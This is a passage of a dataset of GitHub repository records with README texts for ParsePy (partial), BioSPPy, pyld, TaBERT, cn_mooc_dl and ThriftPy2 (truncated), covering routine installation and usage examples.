the\nrelation.\n\n~~~~~ {python}\nscores = relation.query().order_by('score', descending=True)\nfor gamescore in scores:\n    print gamescore.player_name, gamescore.score\n~~~~~\n\nTo remove objects from a relation, you use remove(). This example\nremoves all the related objects.\n\n~~~~~ {python}\nscores = relation.query()\nfor gamescore in scores:\n    relation.remove(gamescore)\n~~~~~\n\n\nUsers\n-----\n\nYou can sign up, log in, modify or delete users as well, using the `parse_rest.user.User` class. You sign a user up as follows:\n\n~~~~~ {python}\nfrom parse_rest.user import User\n\nu = User.signup(\"dhelmet\", \"12345\", phone=\"555-555-5555\")\n~~~~~\n\nor log in an existing user with\n\n~~~~~ {python}\nu = User.login(\"dhelmet\", \"12345\")\n~~~~~\n\nYou can also request a password reset for a specific user with\n\n~~~~~ {python}\nUser.request_password_reset(email=\"dhelmet@gmail.com\")\n~~~~~\n\nIf you'd like to log in a user with Facebook or Twitter, and have already obtained an access token (including a user ID and expiration date) to do so, you can log in like this:\n\n~~~~ {python}\nauthData = {\"facebook\": {\"id\": fbID, \"access_token\": access_token,\n                         \"expiration_date\": expiration_date}}\nu = User.login_auth(authData)\n~~~~\n\nOnce a `User` has been logged in, it saves its session so that it can be edited or deleted:\n\n~~~~~ {python}\nu.highscore = 300\nu.save()\nu.delete()\n~~~~~\n\nTo get the current user from a Parse session:\n\n~~~~~ {python}\nfrom parse_rest.connection import SessionToken, register\n\n# Acquire a valid parse session somewhere\n# Example: token = request.session.get('session_token')\n\n# Method 1: Using a `with` statement\n# Do this to isolate use of session token in this block only\nwith SessionToken(token):\n    me = User.current_user()\n\n# Method 2: register your parse connection with `session_token` parameter\n# Do this to use the session token for all subsequent queries\nregister(PARSE_APPID, PARSE_APIKEY, session_token=token)\nme = User.current_user()\n~~~~~\n\n\nPush\n---------------\n\nYou can also send notifications to your users using [Parse's Push functionality](http://docs.parseplatform.org/rest/guide/#push-notifications), through the Push object:\n\n~~~~~ {python}\nfrom parse_rest.installation import Push\n\nPush.message(\"The Giants won against the Mets 2-3.\",\n             channels=[\"Giants\", \"Mets\"])\n~~~~~\n\nThis will push a message to all users subscribed to the \"Giants\" and \"Mets\" channels. Your alert can be restricted based on [Advanced Targeting](http://docs.parseplatform.org/rest/guide/#sending-pushes-to-queries) by specifying the `where` argument:\n\n~~~~~ {python}\nPush.message(\"Willie Hayes injured by own pop fly.\",\n             channels=[\"Giants\"], where={\"injuryReports\": True})\n\nPush.message(\"Giants scored against the A's! It's now 2-2.\",\n             channels=[\"Giants\"], where={\"scores\": True})\n~~~~~\n\nIf you wish to include more than a simple message in your notification, such as incrementing the app badge in iOS or adding a title in Android, use the `alert` method and pass the actions in a dictionary:\n\n~~~~~ {python}\nPush.alert({\"alert\": \"The Mets scored! The game is now tied 1-1.\",\n            \"badge\": \"Increment\", \"title\": \"Mets Score\"}, channels=[\"Mets\"],\n            where={\"scores\": True})\n~~~~~\n\n\nCloud Functions\n---------------\n\nParse offers [CloudCode](http://docs.parseplatform.org/rest/guide/#cloud-code), which has the ability to upload JavaScript functions that will be run on the server. You can use the `parse_rest` client to call those functions.\n\nThe CloudCode guide describes how to upload a function to the server. Let's say you upload the following `main.js` script:\n\n~~~~~ {javascript}\nParse.Cloud.define(\"hello\", function(request, response) {\n  response.success(\"Hello world!\");\n});\n\n\nParse.Cloud.define(\"averageStars\", function(request, response) {\n  var query = new Parse.Query(\"Review\");\n  query.equalTo(\"movie\", request.params.movie);\n  query.find({\n    success: function(results) {\n      var sum = 0;\n      for (var i = 0; i < results.length; ++i) {\n        sum += results[i].get(\"stars\");\n      }\n      response.success(sum / results.length);\n    },\n    error: function() {\n      response.error(\"movie lookup failed\");\n    }\n  });\n});\n~~~~~\n\nThen you can call either of these functions using the `parse_rest.datatypes.Function` class:\n\n~~~~~ {python}\nfrom parse_rest.datatypes import Function\n\nhello_func = Function(\"hello\")\nhello_func()\n{u'result': u'Hello world!'}\nstar_func = Function(\"averageStars\")\nstar_func(movie=\"The Matrix\")\n{u'result': 4.5}\n~~~~~\n\n\nACLs\n---------------\nThe ACL for an object can be updated using the `parse_rest.datatypes.ACL` class. This class provides three methods for setting an ACL: set_user, set_role, and set_default. For example, using the User and gameScore examples from above:\n~~~~~ {python}\nfrom parse_rest.datatypes import ACL\nfrom parse_rest.user import User\n\nu = User.login('dhelmet', '12345')\n\ngameScore.ACL.set_user(u, read=True, write=True)\n# allows user 'dhelmet' to read and write to gameScore\ngameScore.ACL.set_default(read=True)\n# allows public to read but not write to gameScore\ngameScore.ACL.set_role('moderators', read=True, write=True)\n# allows role 'moderators' to read and write to gameScore. Can alternatively pass the role object instead of the\n# role name. See below for more info on Roles.\ngameScore.save()\n~~~~~\n\n\nRoles\n---------------\nYou can create, update or delete roles as well, using the `parse_rest.role.Role` class. Creating a role requires you to pass a name and an ACL to Role.\n~~~~~ {python}\nfrom parse_rest.role import Role\nfrom parse_rest.datatypes import ACL\n\nadmin_role = Role(name='moderators')\nadmin_role.ACL.set_default(read=True)\nadmin_role.save()\n~~~~~\n\nThis, for example, creates a role with the name 'moderators', with an ACL that allows the public to read but not write to this role object.\n\n\nSession Tokens\n---------------\nWhen querying or updating an object protected by an ACL, parse.com requires the session token of the user with read and write privileges, respectively. You can pass the session token to such queries and updates by using the `parse_rest.connection.SessionToken` class.\n\n~~~~~ {python}\nfrom parse_rest.connection import SessionToken\nfrom parse_rest.user import User\n\nu = User.login('dhelmet', '12345')\ntoken = u.sessionToken\n\nwith SessionToken(token):\n    collectedItem = CollectedItem.Query.get(type=\"Sword\") # Get a collected item, Sword, that is protected by ACL\n    print collectedItem\n    \nu.logout()\n~~~~~\n\nAssuming the CollectedItem 'Sword' is read-protected from the public by an ACL and is readable only by the user, SessionToken allows the user to bypass the ACL and get the 'Sword' item.\n\nElevating Access to Master\n--------------------------\nSometimes it is useful to only allow privileged use of the master key for specific uses.\n\n~~~~~ {python}\nfrom parse_rest.connection import MasterKey\n\nwith MasterKey('master key'):\n    # do privileged calls\n~~~~~\n", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "PIA-Group/BioSPPy", "link": "https://github.com/PIA-Group/BioSPPy", "tags": ["python", "physiological-computing", "biosignals", "data-science", "signal-processing"], "stars": 516, "description": "Biosignal Processing in Python", "lang": "Python", "repo_lang": "", "readme": "> This repository is archived. The BioSPPy toolbox is now maintained at [scientisst/BioSPPy](https://github.com/scientisst/BioSPPy).\n\n# BioSPPy - Biosignal Processing in Python\n\n*A toolbox for biosignal processing written in Python.*\n\n[![Image](https://github.com/PIA-Group/BioSPPy/raw/master/docs/logo/logo_400.png \"I know you're listening! - xkcd.com/525\")](http://biosppy.readthedocs.org/)\n\nThe toolbox bundles together various signal processing and pattern recognition\nmethods geared towards the analysis of biosignals.\n\nHighlights:\n\n- Support for various biosignals: BVP, ECG, EDA, EEG, EMG, PCG, PPG, Respiration\n- Signal analysis primitives: filtering, frequency analysis\n- Clustering\n- Biometrics\n\nDocumentation can be found at: <http://biosppy.readthedocs.org/>\n\n## Installation\n\nInstallation can be easily done with `pip`:\n\n```bash\n$ pip install biosppy\n```\n\n## Simple Example\n\nThe code below loads an ECG signal from the `examples` folder, filters it,\nperforms R-peak detection, and computes the instantaneous heart rate.\n\n```python\nfrom biosppy import storage\nfrom biosppy.signals import ecg\n\n# load raw ECG signal\nsignal, mdata = storage.load_txt('./examples/ecg.txt')\n\n# process it and plot\nout = ecg.ecg(signal=signal, sampling_rate=1000., show=True)\n```\n\nThis should produce a plot similar to the one below.\n\n[![Image](https://github.com/PIA-Group/BioSPPy/raw/master/docs/images/ECG_summary.png \"ECG Summary Plot\")]()\n\n## Dependencies\n\n- bidict\n- h5py\n- matplotlib\n- numpy\n- scikit-learn\n- scipy\n- shortuuid\n- six\n- joblib\n\n## Citing\nPlease use the following if you need to cite BioSPPy:\n\n- Carreiras C, Alves AP, Louren\u00e7o A, Canento F, Silva H, Fred A, *et al.*\n  **BioSPPy - Biosignal Processing in Python**, 2015-,\n  https://github.com/PIA-Group/BioSPPy/ [Online; accessed ```<year>-<month>-<day>```].\n\n```latex\n@Misc{,\n  author = {Carlos Carreiras and Ana Priscila Alves and Andr\\'{e} Louren\\c{c}o and Filipe Canento and Hugo Silva and Ana Fred and others},\n  title = {{BioSPPy}: Biosignal Processing in {Python}},\n  year = {2015--},\n  url = \"https://github.com/PIA-Group/BioSPPy/\",\n  note = {[Online; accessed <today>]}\n}\n```\n\n## License\n\nBioSPPy is released under the BSD 3-clause license. See LICENSE for more details.\n\n## Disclaimer\n\nThis program is distributed in the hope it will be useful and provided\nto you \"as is\", but WITHOUT ANY WARRANTY, without even the implied\nwarranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. This\nprogram is NOT intended for medical diagnosis. We expressly disclaim any\nliability whatsoever for any direct, indirect, consequential, incidental\nor special damages, including, without limitation, lost revenues, lost\nprofits, losses resulting from business interruption or loss of data,\nregardless of the form of action or legal theory under which the\nliability may be asserted, even if advised of the possibility of such\ndamages.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "digitalbazaar/pyld", "link": "https://github.com/digitalbazaar/pyld", "tags": ["json-ld", "semantic-web", "linked-data", "rdf", "python"], "stars": 516, "description": "JSON-LD processor written in Python", "lang": "Python", "repo_lang": "", "readme": "README.rst", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "facebookresearch/TaBERT", "link": "https://github.com/facebookresearch/TaBERT", "tags": [], "stars": 515, "description": "This repository contains source code for the TaBERT model, a pre-trained language model for learning joint representations of natural language utterances and (semi-)structured tables for semantic parsing. TaBERT is pre-trained on a massive corpus of 26M Web tables and their associated natural language context, and could be used as a drop-in replacement of a semantic parsers original encoder to compute representations for utterances and table schemas (columns).", "lang": "Python", "repo_lang": "", "readme": "# TaBERT: Learning Contextual Representations for Natural Language Utterances and Structured Tables\n\nThis repository contains source code for the [`TaBERT` model](https://arxiv.org/abs/2005.08314), a pre-trained language model for learning joint representations of natural language utterances and (semi-)structured tables for semantic parsing. `TaBERT` is pre-trained on a massive corpus of 26M Web tables and their associated natural language context, and could be used as a drop-in replacement of a semantic parsers original encoder to compute representations for utterances and table schemas (columns).\n\n## Installation\n\nFirst, install the conda environment `tabert` with supporting libraries.\n\n```bash\nbash scripts/setup_env.sh\n```\n\nOnce the conda environment is created, install `TaBERT` using the following command:\n\n```bash\nconda activate tabert\npip install --editable .\n```\n\n**Integration with HuggingFace's pytorch-transformers Library** is still WIP. While all the pre-trained models were developed based on the old version of the library `pytorch-pretrained-bert`, they are compatible with the the latest version `transformers`. The conda environment will install both versions of the transformers library, and `TaBERT` will use `pytorch-pretrained-bert` by default. You could uninstall the `pytorch-pretrained-bert` library if you prefer using `TaBERT` with the latest version of `transformers`.\n\n## Pre-trained Models\n\nPre-trained models could be downloaded from this [Google Drive shared folder](https://drive.google.com/drive/folders/1fDW9rLssgDAv19OMcFGgFJ5iyd9p7flg?usp=sharing).\nPlease uncompress the tarball files before usage.\n\nPre-trained models could be downloaded from command line as follows:\n```shell script\npip install gdown\n\n# TaBERT_Base_(k=1)\ngdown 'https://drive.google.com/uc?id=1-pdtksj9RzC4yEqdrJQaZu4-dIEXZbM9'\n\n# TaBERT_Base_(K=3)\ngdown 'https://drive.google.com/uc?id=1NPxbGhwJF1uU9EC18YFsEZYE-IQR7ZLj'\n\n# TaBERT_Large_(k=1)\ngdown 'https://drive.google.com/uc?id=1eLJFUWnrJRo6QpROYWKXlbSOjRDDZ3yZ'\n\n# TaBERT_Large_(K=3)\ngdown 'https://drive.google.com/uc?id=17NTNIqxqYexAzaH_TgEfK42-KmjIRC-g'\n```\n\n## Using a Pre-trained Model\n\nTo load a pre-trained model from a checkpoint file:\n\n```python\nfrom table_bert import TableBertModel\n\nmodel = TableBertModel.from_pretrained(\n    'path/to/pretrained/model/checkpoint.bin',\n)\n```\n\nTo produce representations of natural language text and and its associated table:\n```python\nfrom table_bert import Table, Column\n\ntable = Table(\n    id='List of countries by GDP (PPP)',\n    header=[\n        Column('Nation', 'text', sample_value='United States'),\n        Column('Gross Domestic Product', 'real', sample_value='21,439,453')\n    ],\n    data=[\n        ['United States', '21,439,453'],\n        ['China', '27,308,857'],\n        ['European Union', '22,774,165'],\n    ]\n).tokenize(model.tokenizer)\n\n# To visualize table in an IPython notebook:\n# display(table.to_data_frame(), detokenize=True)\n\ncontext = 'show me countries ranked by GDP'\n\n# model takes batched, tokenized inputs\ncontext_encoding, column_encoding, info_dict = model.encode(\n    contexts=[model.tokenizer.tokenize(context)],\n    tables=[table]\n)\n```\n\nFor the returned tuple, `context_encoding` and `column_encoding` are PyTorch tensors \nrepresenting utterances and table columns, respectively. `info_dict` contains useful \nmeta information (e.g., context/table masks, the original input tensors to BERT) for \ndownstream application.\n\n```python\ncontext_encoding.shape\n>>> torch.Size([1, 7, 768])\n\ncolumn_encoding.shape\n>>> torch.Size([1, 2, 768])\n```\n\n**Use Vanilla BERT** To initialize a TaBERT model from the parameters of BERT:\n\n```python\nfrom table_bert import TableBertModel\n\nmodel = TableBertModel.from_pretrained('bert-base-uncased')\n```\n\n## Example Applications\n\nTaBERT could be used as a general-purpose representation learning layer for semantic parsing tasks over database tables. \nExample applications could be found under the `examples` folder.\n\n## Extract/Preprocess Table Corpora from CommonCrawl and Wikipedia\n\n### Prerequisite\n\nThe following libraries are used for data extraction:\n\n* [`jnius`](https://pyjnius.readthedocs.io/en/stable/)\n* [`info.bliki.wiki`](https://bitbucket.org/axelclk/info.bliki.wiki/wiki/Mediawiki2HTML)\n* wikitextparser\n* Beautiful Soup 4\n* Java Wikipedia code located at `contrib/wiki_extractor`\n    * It compiles to a `.jar` file using maven, which is also included in the folder\n* `jdk` 12+\n\n### Installation\nFist, you need to install Java JDK. \nThen use the following command to install necessary Python libraries. \n\n```\npip install -r preprocess/requirements.txt\npython -m spacy download en_core_web_sm\n```\n\n### Training Table Corpora Extraction\n\n#### CommonCrawl WDC Web Table Corpus 2015\n\nDetails of the dataset could be found at [here](http://webdatacommons.org/webtables/2015/downloadInstructions.html).\nWe used the English relational tables split, which could be downloaded at [here](http://data.dws.informatik.uni-mannheim.de/webtables/2015-07/englishCorpus/compressed/).\n\nThe script to preprocess the data is at `scripts/preprocess_commoncrawl_tables.sh`.\nThe following command pre-processes [a sample](http://data.dws.informatik.uni-mannheim.de/webtables/2015-07/sample.gz) \nof the whole WDC dataset. To preprocess the whole dataset, simply replace \nthe `input_file` with the root folder of the downloaded tar ball files.\n```shell script\nmkdir -p data/datasets\nwget http://data.dws.informatik.uni-mannheim.de/webtables/2015-07/sample.gz -P data/datasets\ngzip -d < data/datasets/sample.gz > data/datasets/commoncrawl.sample.jsonl\n\npython \\\n    -m preprocess.common_crawl \\\n    --worker_num 12 \\\n    --input_file data/datasets/commoncrawl.sample.jsonl \\\n    --output_file data/preprocessed_data/common_crawl.preprocessed.jsonl\n```\n\n#### Wikipedia Tables\n\nThe script to extract Wiki tables is at `scripts/extract_wiki_tables.sh`. It demonstrates\nextracting tables from a sampled Wikipedia dump. Again, you may need the full Wikipedida dump\nto perform data extraction.\n\n### Notes for Table Extraction\n\n**Extract Tables from Scraped HTML Pages** \nMost code in `preprocess.extract_wiki_data` is for extracting surrounding \nnatural language sentences around tables. If you are only interested in \nextracting tables (e.g., from scraped Wiki Web pages), you could just use \nthe `extract_table_from_html` function. See the comments for more details. \n\n## Training Data Generation\n\nThis section documents how to generate training data for masked language modeling training \nfrom extracted and preprocessed tables. \n\nThe scripts to generate training data for our vanilla `TaBERT(K=1)` and vertical attention\n`TaBERT(k=3)` models are `utils/generate_vanilla_tabert_training_data.py` and \n`utils/generate_vertical_tabert_training_data.py`. They are heavily optimized for generating \ndata in parallel in a distributed compute environment, but could still be used locally. \n\nThe following script assumes you have concatenated\nthe `.jsonl` files obtained from running the data extraction scripts on Wikipedia and CommonCrawl\ncorpora and saved to `data/preprocessed_data/tables.jsonl`\n\n```shell script\ncd data/preprocessed_data\ncat common_crawl.preprocessed.jsonl wiki_tables.jsonl > tables.jsonl\n```\n\nThe following script generates training data for a vanilla `TaBERT(K=1)` model:\n```shell script\noutput_dir=data/train_data/vanilla_tabert\nmkdir -p ${output_dir}\n\npython -m utils.generate_vanilla_tabert_training_data \\\n    --output_dir ${output_dir} \\\n    --train_corpus data/preprocessed_data/tables.jsonl \\\n    --base_model_name bert-base-uncased \\\n    --do_lower_case \\\n    --epochs_to_generate 15 \\\n    --max_context_len 128 \\\n    --table_mask_strategy column \\\n    --context_sample_strategy concate_and_enumerate \\\n    --masked_column_prob 0.2 \\\n    --masked_context_prob 0.15 \\\n    --max_predictions_per_seq 200 \\\n    --cell_input_template 'column|type|value' \\\n    --column_delimiter \"[SEP]\"\n```\n\nThe following script generates training data for a `TaBERT(K=3)` model with \nvertical self-attention:\n```shell script\noutput_dir=data/train_data/vertical_tabert\nmkdir -p ${output_dir}\n\npython -m utils.generate_vertical_tabert_training_data \\\n    --output_dir ${output_dir} \\\n    --train_corpus data/preprocessed_data/tables.jsonl \\\n    --base_model_name bert-base-uncased \\\n    --do_lower_case \\\n    --epochs_to_generate 15 \\\n    --max_context_len 128 \\\n    --table_mask_strategy column \\\n    --context_sample_strategy concate_and_enumerate \\\n    --masked_column_prob 0.2 \\\n    --masked_context_prob 0.15 \\\n    --max_predictions_per_seq 200 \\\n    --cell_input_template 'column|type|value' \\\n    --column_delimiter \"[SEP]\"\n```\n\n**Parallel Data Generation** The script has two additional arguments, `--global_rank` and \n`--world_size`. To generate training data in parallel using `N` processes, just fire up \n`N` processes with the same set of arguments and `--world_size=N`. The argument `--global_rank` \nis set to `[1, 2, ..., N]` for each process.\n\n## Model Training\nOur models are trained on a cluster of 32GB Tesla V100 GPUs. The following script demonstrates \ntraining a vanilla `TaBERT(k=1)` model using a single GPU with gradient accumulation:\n```shell script\nmkdir -p data/runs/vanilla_tabert\n\npython train.py \\\n    --task vanilla \\\n    --data-dir data/train_data/vanilla_tabert \\\n    --output-dir data/runs/vanilla_tabert \\\n    --table-bert-extra-config '{}' \\\n    --train-batch-size 8 \\\n    --gradient-accumulation-steps 32 \\\n    --learning-rate 2e-5 \\\n    --max-epoch 10 \\\n    --adam-eps 1e-08 \\\n    --weight-decay 0.0 \\\n    --fp16 \\\n    --clip-norm 1.0 \\\n    --empty-cache-freq 128\n```\n\nThe following script shows training a `TaBERT(k=3)` model with vertical self-attention:\n```shell script\nmkdir -p data/runs/vertical_tabert\n\npython train.py \\\n    --task vertical_attention \\\n    --data-dir data/train_data/vertical_tabert \\\n    --output-dir data/runs/vertical_tabert \\\n    --table-bert-extra-config '{\"base_model_name\": \"bert-base-uncased\", \"num_vertical_attention_heads\": 6, \"num_vertical_layers\": 3, \"predict_cell_tokens\": true}' \\\n    --train-batch-size 8 \\\n    --gradient-accumulation-steps 64 \\\n    --learning-rate 4e-5 \\\n    --max-epoch 10 \\\n    --adam-eps 1e-08 \\\n    --weight-decay 0.01 \\\n    --fp16 \\\n    --clip-norm 1.0 \\\n    --empty-cache-freq 128\n```\n\nDistributed training with multiple GPUs is similar to [XLM](https://github.com/facebookresearch/XLM).\n\n## Reference\n\nIf you plan to use `TaBERT` in your project, please consider citing [our paper](https://arxiv.org/abs/2005.08314):\n```\n@inproceedings{yin20acl,\n    title = {Ta{BERT}: Pretraining for Joint Understanding of Textual and Tabular Data},\n    author = {Pengcheng Yin and Graham Neubig and Wen-tau Yih and Sebastian Riedel},\n    booktitle = {Annual Conference of the Association for Computational Linguistics (ACL)},\n    month = {July},\n    year = {2020}\n}\n```\n\n## License\n\nTaBERT is CC-BY-NC 4.0 licensed as of now.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "renever/cn_mooc_dl", "link": "https://github.com/renever/cn_mooc_dl", "tags": [], "stars": 515, "description": "\u4e2d\u56fd\u5927\u5b66MOOC\uff0c\u5b66\u5802\u5728\u7ebf\uff0c\u7f51\u6613\u4e91\u8bfe\u5802\uff0c\u4e0b\u8f7d", "lang": "Python", "repo_lang": "", "readme": "cn_mooc_dl\n==========\n\n1. \u4e2d\u56fd\u5927\u5b66 MOOC\uff08`icourse163.org`\uff09\u89c6\u9891\u4e0b\u8f7d\n2. \u6e05\u534e\u5b66\u5802\u5728\u7ebf\uff08`xuetangx.com`\uff09\u89c6\u9891\u4e0b\u8f7d\n3. \u7f51\u6613\u4e91\u8bfe\u5802\uff08`study.163.com`\uff09\u89c6\u9891\u4e0b\u8f7d\n4. \u7f51\u6613\u4e91\u8bfe\u5802\u8ba1\u7b97\u673a\u4e13\u4e1a\u8bfe\u7a0b\uff08`mooc.study.163.com`\uff09\u89c6\u9891\u4e0b\u8f7d\n\n####\u6d4b\u8bd5\u73af\u5883\uff1a   `PYTHON 2.7\uff1b WIN 7`\n####\u4f9d\u8d56\u5305\uff1a `requests\uff0c beautifulsoup4`\n\tpip install requests\n\tpip install beautifulsoup4\n\u6216\u8005\u5728\u4ee3\u7801\u76ee\u5f55\u4e0b\n\t\n\tpip install -r requirements.txt \n\n\n####\u4e2d\u56fd\u5927\u5b66 MOOC\uff08`icourse163.org`\uff09\uff1a\n    python icourse163_dl.py  -u <username@xxx.xxx> -p <password>  \"url\"\n\n* \u5176\u4e2d url \u662f\u6253\u5f00\u8bfe\u7a0b\u9875\u9762\u540e\uff0c\u6d4f\u89c8\u5668\u5730\u5740\u680f\u2018#\u2019\u4e4b\u524d\u90e8\u5206\u3002\n\u4ee5\u201c\u56fd\u9632\u79d1\u5927\u9ad8\u7b49\u6570\u5b66\uff08\u4e00\uff09\u201d\u4e3a\u4f8b\uff0c\u6253\u5f00\u8bfe\u7a0b\u540e\u6d4f\u89c8\u5668\u5730\u5740\u680f\u663e\u793a\u4e3a\uff1a\n`http://www.icourse163.org/learn/nudt-9004#/learn/announce`\n\u5219 url \u4e3a `http://www.icourse163.org/learn/nudt-9004`\n* \u7f51\u6613\u6d41\u91cf\u65f6\u5feb\u65f6\u6162\uff0c\u65f6\u6709\u65f6\u65e0\u3002\u53ef\u4ee5\u8fd0\u884c\u4e24\u904d\uff0c\u4e4b\u524d\u6ca1\u4e0b\u5b8c\u7684\u53ef\u65ad\u7ebf\u7eed\u4f20\u3002\n\n####\u6e05\u534e\u5b66\u5802\u5728\u7ebf\uff08`xuetangx.com`\uff09\uff1a    \n    python xuetangx_dl.py  -u <username@xxx.xxx> -p <password>  \"url\"\n    \n* \u5176\u4e2d url \u662f\u8bfe\u7a0b\u8bfe\u4ef6\u9875\u9762\u7684\u6d4f\u89c8\u5668\u5730\u5740\uff0c\u6bd4\u5982\uff1a\n`http://www.xuetangx.com/courses/HITx/GO90300700/2014_T2/courseware/`\n\n####\u7f51\u6613\u4e91\u8bfe\u5802\uff08`study.163.com`\uff09\uff1a\n    python study163_dl.py \"url\"\n* \u4e91\u8bfe\u5802\u65b0\u589e\u4e13\u680f\u201c\u8ba1\u7b97\u673a\u4e13\u4e1a\u8bfe\u7a0b\u201d\u90a3\u4e00\u90e8\u5206\uff08mooc.study.163.com\uff09\u6709\u70b9\u7279\u6b8a\uff0c\u5177\u4f53\u770b\u4e0b\u9762\u3002\n* \u6536\u8d39\u8bfe\u7a0b\u4e0b\u4e0d\u4e86\u3002\n* \u7f51\u6613\u4e91\u8bfe\u5802\u4e0d\u5fc5\u767b\u5f55\u3002\u5176\u4e2d url \u662f\u8bfe\u7a0b\u5217\u8868\u9875\u9762\u6d4f\u89c8\u5668\u5730\u5740\uff0c\u6bd4\u5982:\n`http://study.163.com/course/introduction/334013.htm`\n* \u4e0d\u80fd\u7eed\u4f20\u3002\n\n \n####\u4e91\u8bfe\u5802\u8ba1\u7b97\u673a\u4e13\u4e1a\u8bfe\u7a0b\uff08`mooc.study.163.com`\uff09\uff1a \n    python icourse163_dl.py  -u <username@xxx.xxx> -p <password>  \"url\" \n* \u4e91\u8bfe\u5802\u65b0\u589e\u4e13\u680f\u201c\u8ba1\u7b97\u673a\u4e13\u4e1a\u8bfe\u7a0b\u201d\uff0c\u867d\u7136\u6302\u5728\u4e91\u8bfe\u5802\u9875\u9762\u4e0a\uff0c\u4f46\u662f\u91cc\u9762\u7684\u7ed3\u6784\u662f\u548c\u201c\u4e2d\u56fd\u5927\u5b66 MOOC\u201d\u4e00\u6837\u7684\u3002\u6240\u4ee5\u8981\u7528 `icourse163_dl.py` \u6765\u4e0b\u8f7d\u3002\n* \u5176\u4e2d url \u7c7b\u4f3c\u8fd9\u6837\uff1a `http://mooc.study.163.com/learn/ZJU-1000002014`\n\n\n#####--path \u7528\u4e8e\u6307\u5b9a\u4fdd\u5b58\u6587\u4ef6\u5939\uff0c --overwrite \u6307\u5b9a\u662f\u5426\u8986\u76d6\n\n\nmatthieu.lin@gmail.com", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Thriftpy/thriftpy2", "link": "https://github.com/Thriftpy/thriftpy2", "tags": ["thrift", "thriftpy", "python", "rpc"], "stars": 515, "description": "Pure python approach of Apache Thrift. ", "lang": "Python", "repo_lang": "", "readme": "============\nThriftPy2\n============\n\n.. image:: https://travis-ci.com/Thriftpy/thriftpy2.svg?branch=develop\n    :target: https://travis-ci.com/Thriftpy/thriftpy2\n\n.. image:: https://img.shields.io/codecov/c/github/Thriftpy/thriftpy2.svg\n    :target: https://codecov.io/gh/Thriftpy/thriftpy2\n\n.. image:: https://img.shields.io/pypi/dm/thriftpy2.svg\n    :target: https://pypi.org/project/thriftpy2/\n\n.. image:: https://img.shields.io/pypi/v/thriftpy2.svg\n    :target: https://pypi.org/project/thriftpy2/\n\n.. image:: https://img.shields.io/pypi/pyversions/thriftpy2.svg\n    :target: https://pypi.org/project/thriftpy2/\n\n.. image:: https://img.shields.io/pypi/implementation/thriftpy2.svg\n    :target: https://pypi.org/project/thriftpy2/\n\n\nThriftPy: https://github.com/eleme/thriftpy has been deprecated, ThriftPy2 aims to provide long term support.\n\n\nMigrate from Thriftpy?\n======================\n\nAll you need is:\n\n.. code:: python\n\n    import thriftpy2 as thriftpy\n\n\nThat's it! thriftpy2 is fully compatible with thriftpy.\n\n\nInstallation\n============\n\nInstall with pip.\n\n.. code:: bash\n\n    $ pip install thriftpy2\n\nYou may also install cython first to build cython extension locally.\n\n.. code:: bash\n\n    $ pip install cython thriftpy2\n\n\nCode Demo\n=========\n\nThriftPy make it super easy to write server/client code with thrift. Let's\ncheckout this simple pingpong service demo.\n\nWe need a 'pingpong.thrift' file:\n\n::\n\n    service PingPong {\n        string ping(),\n    }\n\nThen we can make a server:\n\n.. code:: python\n\n    import thriftpy2\n    pingpong_thrift = thriftpy2.load(\"pingpong.thrift\", module_name=\"pingpong_thrift\")\n\n    from thriftpy2.rpc import make_server\n\n    class Dispatcher(object):\n        def ping(self):\n            return \"pong\"\n\n    server = make_server(pingpong_thrift.PingPong, Dispatcher(), '127.0.0.1', 6000)\n    server.serve()\n\nAnd a client:\n\n.. code:: python\n\n    import thriftpy2\n    pingpong_thrift = thriftpy2.load(\"pingpong.thrift\", module_name=\"pingpong_thrift\")\n\n    from thriftpy2.rpc import make_client\n\n    client = make_client(pingpong_thrift.PingPong, '127.0.0.1', 6000)\n    print(client.ping())\n\nAnd it also supports asyncio on Python 3.5 or later:\n\n.. code:: python\n\n    import thriftpy2\n    import asyncio\n    from thriftpy2.rpc import make_aio_client\n\n\n    echo_thrift = thriftpy2.load(\"echo.thrift\", module_name=\"echo_thrift\")\n\n\n    async def request():\n        client = await make_aio_client(\n            echo_thrift.EchoService, '127.0.0.1', 6000)\n        print(await client.echo('hello, world'))\n        client.close()\n\n.. code:: python\n\n    import asyncio\n    import thriftpy2\n\n    from thriftpy2.rpc import make_aio_server\n\n    echo_thrift = thriftpy2.load(\"echo.thrift\", module_name=\"echo_thrift\")\n\n\n    class Dispatcher(object):\n        async def echo(self, param):\n            print(param)\n            await asyncio.sleep(0.1)\n            return param\n\n\n    def main():\n        server = make_aio_server(\n            echo_thrift.EchoService, Dispatcher(), '127.0.0.1', 6000)\n        server.serve()\n\n\n    if __name__ == '__main__':\n        main()\n\nSee, it's that easy!\n\nYou can refer to 'examples' and 'tests' directory in source code for more\nusage examples.\n\n\nFeatures\n========\n\nCurrently ThriftPy have these features (also advantages over the upstream\npython lib):\n\n- Supports Python 2.7, Python 3.4+, PyPy and PyPy3.\n\n- Pure python implementation. No longer need to compile & install the 'thrift'\n  package. All you need is thriftpy2 and thrift file.\n\n- Compatible with Apache Thrift. You can use ThriftPy together with the\n  official implementation servers and clients, such as a upstream server with\n  a thriftpy2 client or the opposite.\n\n  Currently implemented protocols and transports:\n\n  * binary protocol (python and cython)\n\n  * compact protocol (python and cython)\n\n  * json protocol\n\n  * Apache JSON protocol compatible with apache thrift distribution's JSON protocol.\n    Simply do ``from thriftpy2.protocol import TApacheJSONProtocolFactory`` and pass\n    this to the ``proto_factory`` argument where appropriate.\n\n  * buffered transport (python & cython)\n\n  * framed transport\n\n  * tornado server and client (with tornado 4.0)\n\n  * http server and client\n\n  * asyncio support (python 3.5 or later)\n\n- Can directly load thrift file as module, the sdk code will be generated on\n  the fly.\n\n  For example, ``pingpong_thrift = thriftpy2.load(\"pingpong.thrift\", module_name=\"pingpong_thrift\")``\n  will load 'pingpong.thrift' as 'pingpong_thrift' module.\n\n  Or, when import hook enabled by ``thriftpy2.install_import_hook()``, you can\n  directly use ``import pingpong_thrift`` to import the 'pingpong.thrift' file\n  as module, you may also use ``from pingpong_thrift import PingService`` to\n  import specific object 